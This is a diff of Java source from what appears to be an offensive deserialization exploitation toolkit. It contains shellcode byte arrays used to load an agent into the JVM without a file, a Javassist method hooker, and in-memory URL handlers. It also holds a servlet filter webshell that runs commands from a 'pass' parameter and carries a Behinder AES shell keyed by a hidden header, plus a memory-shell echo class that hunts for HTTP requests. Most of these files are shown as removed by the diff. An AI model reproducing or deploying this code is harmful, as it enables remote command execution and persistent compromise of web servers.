0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3};
|
||||
byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41};
|
||||
if (pointerLength == 4) {
|
||||
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
|
||||
stub = new byte[]{0x44, 0x43, 0x42, 0x41};
|
||||
}
|
||||
buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength));
|
||||
classBody[7] = 0x32;
|
||||
try {
|
||||
System.loadLibrary("attach");
|
||||
enqueue(-1, buf, "enqueue", "enqueue");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return;
|
||||
}
|
||||
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
|
||||
if (pointerLength == 4) {
|
||||
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
|
||||
} else {
|
||||
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
|
||||
}
|
||||
try {
|
||||
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
|
||||
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
|
||||
constructor.setAccessible(true);
|
||||
Object inst = constructor.newInstance(JPLISAgent, true, false);
|
||||
|
||||
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
|
||||
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
|
||||
redefineClazz.invoke(inst, new Object[]{
|
||||
new ClassDefinition[]{
|
||||
definition
|
||||
}
|
||||
});
|
||||
} catch (Throwable error) {
|
||||
error.printStackTrace();
|
||||
throw error;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static native void enqueue(long hProcess, byte[] stub,
|
||||
String cmd, String pipename, Object... args) throws IOException;
|
||||
|
||||
/**
|
||||
* long 转字节数组,小端
|
||||
*/
|
||||
public static byte[] long2ByteArray_Little_Endian(long l, int length) {
|
||||
|
||||
byte[] array = new byte[length];
|
||||
|
||||
for (int i = 0; i < array.length; i++) {
|
||||
array[i] = (byte) (l >> (i * 8));
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
|
||||
private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) {
|
||||
for (int i = 0; i < bytes.length; i++) {
|
||||
boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等;
|
||||
for (int j = 0; j < byteSource.length; j++) {
|
||||
if (i + j < bytes.length && bytes[i + j] == byteSource[j]) {
|
||||
} else {
|
||||
bl = false;
|
||||
}
|
||||
}
|
||||
if (bl) {
|
||||
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,108 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent.utli;
|
||||
|
||||
import javassist.*;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class ClassModifier {
|
||||
// Hook 类信息,类名,方法名,方法参数(逗号分隔)
|
||||
public static ArrayList<String> HOOK_CLASS_INFORMATION_MAP = new ArrayList<String>();
|
||||
|
||||
// Hook 类方法字符串
|
||||
public static String HOOK_METHOD_CODE;
|
||||
|
||||
public static List<Object> insert() throws Exception {
|
||||
|
||||
// 初始化要 hook 的方法信息
|
||||
initHookClassINFORMATION();
|
||||
|
||||
List<Object> classObj = getHookClassBytes();
|
||||
|
||||
if (classObj == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
String targetClassName = classObj.get(0).toString();
|
||||
byte[] targetClassBody = (byte[]) classObj.get(1);
|
||||
ClassPool cp = ClassPool.getDefault();
|
||||
cp.insertClassPath(new ByteArrayClassPath(targetClassName, targetClassBody));
|
||||
CtClass targetClass = cp.get(targetClassName);
|
||||
|
||||
String methodName = HOOK_CLASS_INFORMATION_MAP.get(1);
|
||||
String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(",");
|
||||
|
||||
List<CtClass> paramClasses = new ArrayList<CtClass>();
|
||||
for (String param : paramList) {
|
||||
CtClass ctClass = cp.get(param);
|
||||
paramClasses.add(ctClass);
|
||||
}
|
||||
|
||||
CtMethod ctMethod = targetClass.getDeclaredMethod(methodName, paramClasses.toArray(new CtClass[paramClasses.size()]));
|
||||
ctMethod.insertBefore(base64Decode(HOOK_METHOD_CODE));
|
||||
targetClass.detach();
|
||||
|
||||
List<Object> list = new ArrayList<Object>();
|
||||
list.add(targetClassName);
|
||||
list.add(targetClass.toBytecode());
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
private static List<Object> getHookClassBytes() throws Exception {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
|
||||
try {
|
||||
// 用 Javassist 获取目标环境中,目标类的类字节码
|
||||
String className = HOOK_CLASS_INFORMATION_MAP.get(0);
|
||||
classPool.insertClassPath(new ClassClassPath(Thread.currentThread().getContextClassLoader().loadClass(className)));
|
||||
CtClass targetClass = classPool.get(className);
|
||||
List<Object> obj = new ArrayList<Object>();
|
||||
obj.add(className);
|
||||
obj.add(targetClass.toBytecode());
|
||||
targetClass.detach();
|
||||
return obj;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static String base64Decode(String bs) throws Exception {
|
||||
Class base64;
|
||||
byte[] value = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
return new String(value);
|
||||
}
|
||||
|
||||
public static void initHookClassINFORMATION() {
|
||||
// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.http.HttpServlet");
|
||||
// HOOK_CLASS_INFORMATION_MAP.add("service");
|
||||
// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
|
||||
|
||||
// ArrayList list1 = new ArrayList();
|
||||
// list1.add("jakarta.servlet.http.HttpServlet");
|
||||
// list1.add("service");
|
||||
// list1.add("jakarta.servlet.ServletRequest,jakarta.servlet.ServletResponse");
|
||||
//
|
||||
// HOOK_CLASS_INFORMATION_MAP.add(list1);
|
||||
//
|
||||
// ArrayList list2 = new ArrayList();
|
||||
// list2.add("weblogic.servlet.internal.ServletStubImpl");
|
||||
// list2.add("execute");
|
||||
// list2.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
|
||||
//
|
||||
// HOOK_CLASS_INFORMATION_MAP.add(list2);
|
||||
}
|
||||
}
|
||||
@@ -1,99 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent.utli;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class SuURLConnection extends URLConnection {
|
||||
public static String STREAM_HANDLER_CLASSNAME;
|
||||
private static List FILES = new ArrayList();
|
||||
|
||||
static {
|
||||
try {
|
||||
Field fld;
|
||||
try {
|
||||
fld = URL.class.getDeclaredField("handlers");
|
||||
} catch (NoSuchFieldException var7) {
|
||||
try {
|
||||
fld = URL.class.getDeclaredField("ph_cache");
|
||||
} catch (NoSuchFieldException var6) {
|
||||
throw var7;
|
||||
}
|
||||
}
|
||||
|
||||
fld.setAccessible(true);
|
||||
Map handlers = (Map) fld.get((Object) null);
|
||||
synchronized (handlers) {
|
||||
Object handler;
|
||||
if (handlers.containsKey("ysuserial")) {
|
||||
handler = handlers.get("ysuserial");
|
||||
} else {
|
||||
handler = Class.forName(STREAM_HANDLER_CLASSNAME).newInstance();
|
||||
handlers.put("ysuserial", handler);
|
||||
}
|
||||
|
||||
FILES = (List) handler.getClass().getMethod("getFiles").invoke(handler);
|
||||
}
|
||||
} catch (Exception var8) {
|
||||
throw new RuntimeException(var8.toString());
|
||||
}
|
||||
}
|
||||
|
||||
// 当前 SuURLConnection 对应的对象
|
||||
private final byte[] DATA;
|
||||
private final String contentType;
|
||||
|
||||
|
||||
/**
|
||||
* 构造方法,根据指定的 URL 格式将 DATA 进行指定赋值
|
||||
*
|
||||
* @param url
|
||||
*/
|
||||
protected SuURLConnection(URL url) {
|
||||
super(url);
|
||||
String file = url.getFile();
|
||||
int pos = file.indexOf(47);
|
||||
synchronized (FILES) {
|
||||
this.DATA = (byte[]) ((byte[]) FILES.get(Integer.parseInt(file.substring(0, pos))));
|
||||
}
|
||||
|
||||
this.contentType = file.substring(pos + 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* 将一个 URL 对象 (byte[])存放在 FILES 中
|
||||
*
|
||||
* @param data jar 包字节码数组
|
||||
* @param contentType 原本是文件路径,这里因为是虚拟的,所以随便写一个标识位就可以
|
||||
* @return 返回 URL 对象
|
||||
* @throws MalformedURLException 抛出异常
|
||||
*/
|
||||
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
|
||||
synchronized (FILES) {
|
||||
FILES.add(data);
|
||||
return new URL("ysuserial", "", FILES.size() - 1 + "/" + contentType);
|
||||
}
|
||||
}
|
||||
|
||||
public void connect() throws IOException {
|
||||
}
|
||||
|
||||
public InputStream getInputStream() throws IOException {
|
||||
return new ByteArrayInputStream(this.DATA);
|
||||
}
|
||||
|
||||
public int getContentLength() {
|
||||
return this.DATA.length;
|
||||
}
|
||||
|
||||
public String getContentType() {
|
||||
return this.contentType;
|
||||
}
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent.utli;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class SuURLStreamHandler {
|
||||
public static String URL_CONNECTION_CLASSNAME;
|
||||
|
||||
private List files = new ArrayList();
|
||||
|
||||
public SuURLStreamHandler() {
|
||||
}
|
||||
|
||||
/**
|
||||
* 与 SuURLConnection 联动的 URLStreamHandler
|
||||
*
|
||||
* @param u 特殊的 URL 对象
|
||||
* @return 返回 SuURLConnection 对象
|
||||
* @throws IOException 抛出异常
|
||||
*/
|
||||
protected URLConnection openConnection(URL u) throws IOException {
|
||||
try {
|
||||
Class clazz = Class.forName(URL_CONNECTION_CLASSNAME);
|
||||
Constructor constructor = clazz.getDeclaredConstructor(URL.class);
|
||||
constructor.setAccessible(true);
|
||||
return (URLConnection) constructor.newInstance(u);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public List getFiles() {
|
||||
return this.files;
|
||||
}
|
||||
}
|
||||
@@ -7,7 +7,7 @@ package com.qi4l.JYso.template;
|
||||
*/
|
||||
public class DefineClassFromParameter {
|
||||
|
||||
public static String parameter;
|
||||
public static String parameter = "dc";
|
||||
|
||||
static {
|
||||
try {
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
package com.qi4l.JYso.template;
|
||||
|
||||
import sun.misc.BASE64Decoder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class DynamicFilterTemplate implements Filter {
|
||||
|
||||
private Class myClassLoaderClazz;
|
||||
private String basicCmdShellPwd = "pass";
|
||||
private String behinderShellHeader = "X-Options-Ai";
|
||||
private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond
|
||||
|
||||
public DynamicFilterTemplate() {
|
||||
super();
|
||||
initialize();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
System.out.println("[+] Dynamic Filter says hello");
|
||||
|
||||
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
|
||||
//basic cmd shell
|
||||
String cmd = servletRequest.getParameter(basicCmdShellPwd);
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String[] cmds = null;
|
||||
if (File.separator.equals("/")) {
|
||||
cmds = new String[]{"/bin/sh", "-c", cmd};
|
||||
} else {
|
||||
cmds = new String[]{"cmd", "/C", cmd};
|
||||
}
|
||||
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
|
||||
servletResponse.getWriter().println(result);
|
||||
}
|
||||
} else if (((HttpServletRequest) servletRequest).getHeader(behinderShellHeader) != null) {
|
||||
//behind3 shell
|
||||
try {
|
||||
if (((HttpServletRequest) servletRequest).getMethod().equals("POST")) {
|
||||
String k = behinderShellPwd;
|
||||
((HttpServletRequest) servletRequest).getSession().setAttribute("u", k);
|
||||
Cipher cipher = Cipher.getInstance("AES");
|
||||
cipher.init(2, new SecretKeySpec((((HttpServletRequest) servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
|
||||
byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
|
||||
Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
|
||||
Object evilObject = evilClass.newInstance();
|
||||
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
|
||||
targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
|
||||
private void initialize() {
|
||||
try {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
this.myClassLoaderClazz = classLoader.loadClass("com.qi4l.JYso.template.MyClassLoader");
|
||||
} catch (ClassNotFoundException e) {
|
||||
String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU=";
|
||||
byte[] bytes = new BASE64Decoder().decodeBuffer(code);
|
||||
Method method = null;
|
||||
try {
|
||||
method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
method.setAccessible(true);
|
||||
this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
|
||||
} catch (NoSuchMethodException ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
} catch (IllegalAccessException e) {
|
||||
e.printStackTrace();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
} catch (InvocationTargetException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
package com.qi4l.JYso.template;/*
|
||||
* Decompiled with CFR 0.152.
|
||||
*/
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
package com.qi4l.JYso.template;
|
||||
|
||||
public class MyClassLoader extends ClassLoader {
|
||||
MyClassLoader(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public static Class defineClass(byte[] bytes, ClassLoader classLoader) {
|
||||
return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
@@ -41,11 +41,6 @@ public class ReverseShellTemplate implements Template {
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void cache() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void generate() {
|
||||
ClassWriter cw = new ClassWriter(0);
|
||||
|
||||
@@ -5,7 +5,5 @@ public interface Template {
|
||||
|
||||
byte[] getBytes();
|
||||
|
||||
void cache();
|
||||
|
||||
String getClassName();
|
||||
}
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CAllEcho {
|
||||
public static String CMD_HEADER = "cmd";
|
||||
|
||||
public static java.util.HashSet<Object> h = new java.util.HashSet<Object>();
|
||||
|
||||
public static javax.servlet.http.HttpServletRequest r = null;
|
||||
|
||||
public static javax.servlet.http.HttpServletResponse p = null;
|
||||
|
||||
public CAllEcho() {
|
||||
F(Thread.currentThread(), 0);
|
||||
}
|
||||
|
||||
private static boolean i(Object obj) {
|
||||
if (obj == null || h.contains(obj)) {
|
||||
return true;
|
||||
}
|
||||
h.add(obj);
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void F(Object start, int depth) {
|
||||
Class n = start.getClass();
|
||||
do {
|
||||
java.lang.reflect.Field f = null;
|
||||
int l = n.getDeclaredFields().length;
|
||||
for (int i = 0; i < l; i++) {
|
||||
f = n.getDeclaredFields()[i];
|
||||
f.setAccessible(true);
|
||||
Object o = null;
|
||||
try {
|
||||
o = f.get(start);
|
||||
if (!o.getClass().isArray()) {
|
||||
p(o, depth);
|
||||
} else {
|
||||
Object q = null;
|
||||
Object[] objs = (Object[]) o;
|
||||
int len = java.lang.reflect.Array.getLength(o);
|
||||
for (int j = 0; j < len; j++) {
|
||||
q = objs[j];
|
||||
p(q, depth);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} while ((n = n.getSuperclass()) != null);
|
||||
}
|
||||
|
||||
private static void p(Object o, int depth) {
|
||||
if (depth > 52 || (r != null && p != null)) {
|
||||
return;
|
||||
}
|
||||
if (!i(o)) {
|
||||
if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) {
|
||||
r = (javax.servlet.http.HttpServletRequest) o;
|
||||
if (r.getHeader(CMD_HEADER) == null) {
|
||||
r = null;
|
||||
} else {
|
||||
try {
|
||||
